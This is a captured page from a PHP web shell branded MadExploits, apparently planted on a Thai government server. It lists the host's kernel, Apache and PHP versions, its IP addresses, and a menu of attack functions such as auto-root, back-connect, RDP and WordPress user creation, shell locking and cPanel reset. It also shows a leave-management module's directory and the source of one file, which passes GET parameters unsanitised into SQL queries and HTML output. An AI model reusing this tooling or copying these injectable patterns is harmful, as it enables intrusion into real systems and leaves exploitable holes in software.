Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss_test /
modules /
la /
main /
[ HOME SHELL ]
Name
Size
Permission
Action
basic_comment.php
42.02
KB
-rw-r--r--
cancel_basic_comment.php
25.46
KB
-rw-r--r--
cancel_grant.php
35.05
KB
-rw-r--r--
cancel_la_officer_comment.php
26.78
KB
-rw-r--r--
collection.php
5.49
KB
-rw-r--r--
grant.php
50.88
KB
-rw-r--r--
grant2.php
49.07
KB
-rw-r--r--
job_person.php
32.98
KB
-rw-r--r--
la_cancel.php
33.23
KB
-rw-r--r--
la_cancel_sch.php
32.11
KB
-rw-r--r--
la_main.php
68.98
KB
-rw-r--r--
la_main_mobile.php
8.55
KB
-rw-r--r--
la_main_sch.php
60.24
KB
-rw-r--r--
la_officer_comment.php
42.51
KB
-rw-r--r--
report_1.php
5.94
KB
-rw-r--r--
report_1_mobile.php
5.81
KB
-rw-r--r--
report_2.php
5.95
KB
-rw-r--r--
report_3.php
5.99
KB
-rw-r--r--
report_3_sch.php
5.66
KB
-rw-r--r--
report_4.php
14.88
KB
-rw-r--r--
report_4_sch.php
7.5
KB
-rw-r--r--
report_4_sch2.php
7.56
KB
-rw-r--r--
report_5.php
11.71
KB
-rw-r--r--
report_6.php
27.6
KB
-rw-r--r--
report_6_sch.php
27.3
KB
-rw-r--r--
report_7.php
19.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : report_1_mobile.php
<?php /** ensure this file is being included by a parent file */ defined( '_VALID_' ) or die( 'Direct Access to this location is not allowed.' ); require_once "modules/la/time_inc.php"; //แปลงรูปแบบ date if(isset($_GET['datepicker'])){ $f1_date=explode("-", $_GET['datepicker']); $f2_date=$f1_date[2]."-".$f1_date[1]."-".$f1_date[0]; //ปี เดือน วัน } else{ $f2_date=date("Y-m-d"); } //กรณีกลับหน้าก่อน if(isset($_GET['datepicker_2'])){ $f2_date=$_GET['datepicker_2']; } $thai_date=thai_date($f2_date); //ส่วนหัว echo "<table width='100%' border='0' align='center'>"; echo "<tr align='center'><td><font color='#006666'><strong>รายการลาวันนี้</strong></font></td></tr>"; echo "<tr align='center'><td><font color='#006666'>$thai_date</font></td></tr>"; echo "</table>"; //ส่วนแสดงผล echo "<table width='95%' border='0' align='center'>"; ?> <link rel="stylesheet" type="text/css" media="all" href="./modules/la/css.css"> <link rel="stylesheet" href="./jquery/themes/ui-lightness/jquery.ui.all.css"> <script src="./jquery/jquery-1.5.1.js"></script> <script src="./jquery/ui/jquery.ui.core.js"></script> <script src="./jquery/ui/jquery.ui.widget.js"></script> <script src="./jquery/ui/jquery.ui.datepicker.js"></script> <script> $(function() { $( "#datepicker" ).datepicker({ showButtonPanel: true, dateFormat: 'dd-mm-yy', changeMonth: true, changeYear: true, monthNamesShort: ['ม.ค.', 'ก.พ.', 'มี.ค.', 'เม.ย.', 'พ.ค.', 'มิ.ย.', 'ก.ค.', 'ส.ค.', 'ก.ย.', 'ต.ค.', 'พ.ย.', 'ธ.ค.'], dayNamesMin: ['อา','จ','อ','พ','พฤ','ศ','ส'], onSelect:function(dateText){ document.frmSearchDate.submit();} }); }); </script> <tr align='center'> <td align=left> </td> <td align=right id=no_print> <FORM name=frmSearchDate METHOD=GET> <INPUT TYPE="hidden" name=option value="la"> <INPUT TYPE="hidden" name=task value="main/report_1_mobile"> เลือกวันที่ <input type="text" id="datepicker" name=datepicker value=<?php echo (isset($_GET['datepicker']))? $_GET['datepicker']:date("d-m-Y");?> readonly Size=10> </FORM> </td> </tr> </table> <?php $sql = "select la_main.id, la_main.person_id, la_main.rec_date, la_main.la_type, la_main.la_start, la_main.la_finish, la_main.la_total, la_main.document, la_main.group_sign,la_main.commander_grant,la_main.commander_comment,la_main.commander_sign,la_main.grant_date from la_main left join la_person_set on la_main.person_id=la_person_set.person_id where (la_main.la_start<='$f2_date') and ('$f2_date'<=la_main.la_finish) order by la_main.la_type "; $dbquery = mysqli_query($connect,$sql); echo "<table width='100%' border='1' align='center' style='border-collapse: collapse'>"; echo "<Tr bgcolor='#FFCCCC' align='center'><Td>ที่</Td><Td>ผู้ขออนุญาต</Td><Td>วันขออนุญาต</Td><Td>ประเภทการลา</Td><Td>ตั้งแต่วันที่</Td><Td>ถึงวันที่</Td><Td>มีกำหนด</Td><Td>อนุมัติ</Td></Tr>"; $N=1; $M=1; While ($result = mysqli_fetch_array($dbquery)){ $id = $result['id']; $person_id = $result['person_id']; $file = $result['document']; $rec_date = $result['rec_date']; $la_type = $result['la_type']; $la_type_name=""; if($la_type==1){ $la_type_name="ลาป่วย"; } else if($la_type==2){ $la_type_name="ลากิจ"; } else if($la_type==3){ $la_type_name="ลาคลอด"; } else if($la_type==4){ $la_type_name="ลาพักผ่อน"; } $la_start = $result['la_start']; $la_finish = $result['la_finish']; $la_total = $result['la_total']; //ส่วนยกเลิกวันลา $sql_cancel="select * from la_cancel where (cancel_la_start<='$f2_date' and '$f2_date'<=cancel_la_finish) and la_type='$result[la_type]' and person_id='$person_id' "; $dbquery_cancel = mysqli_query($connect,$sql_cancel); if($dbquery_cancel){ $la_num_cancel=mysqli_num_rows($dbquery_cancel); if($la_num_cancel>=1){ continue; } } if(($M%2) == 0) $color="#FFFFB"; else $color="#FFFFFF"; echo "<Tr bgcolor='$color'><Td valign='top' align='center'>$M</Td>"; $sql_person = "select * from person_main where person_id='$person_id' "; $dbquery_person = mysqli_query($connect,$sql_person); $result_person = mysqli_fetch_array($dbquery_person); $fullname=$result_person['prename'].$result_person['name']." ".$result_person['surname']; if(!$result_person){ $sql_person = "select * from person_sch_main left join system_school on person_sch_main.school_code=system_school.school_code where person_id='$person_id' "; $dbquery_person = mysqli_query($connect,$sql_person); $result_person = mysqli_fetch_array($dbquery_person); $fullname=$result_person['prename'].$result_person['name']." ".$result_person['surname']." "."(".$result_person['school_name'].")"; } echo "</Td><Td valign='top' align='left'>$fullname</Td>"; echo "<Td valign='top' align='left'>"; echo thai_date_3($rec_date); echo "</Td><Td valign='top' align='left'>$la_type_name</Td>"; echo "<Td valign='top' align='left' >"; echo thai_date_3($la_start); echo "</Td>"; echo "<Td valign='top' align='left' >"; echo thai_date_3($la_finish); echo "</Td>"; echo "<Td valign='top' align='center' >$la_total วัน</Td>"; echo "<Td valign='top' align='center'>"; if($result['commander_grant']==1){ echo "<img src=images/yes.png border='0'>"; } else if($result['commander_grant']==2){ echo "<img src=images/no.png border='0'>"; } else{ echo "รออนุมัติ"; } echo "</Td>"; echo "</Tr>"; $M++; $N++; //*เกี่ยวข้องกับการแยกหน้า } echo "</Table>"; ?>
Close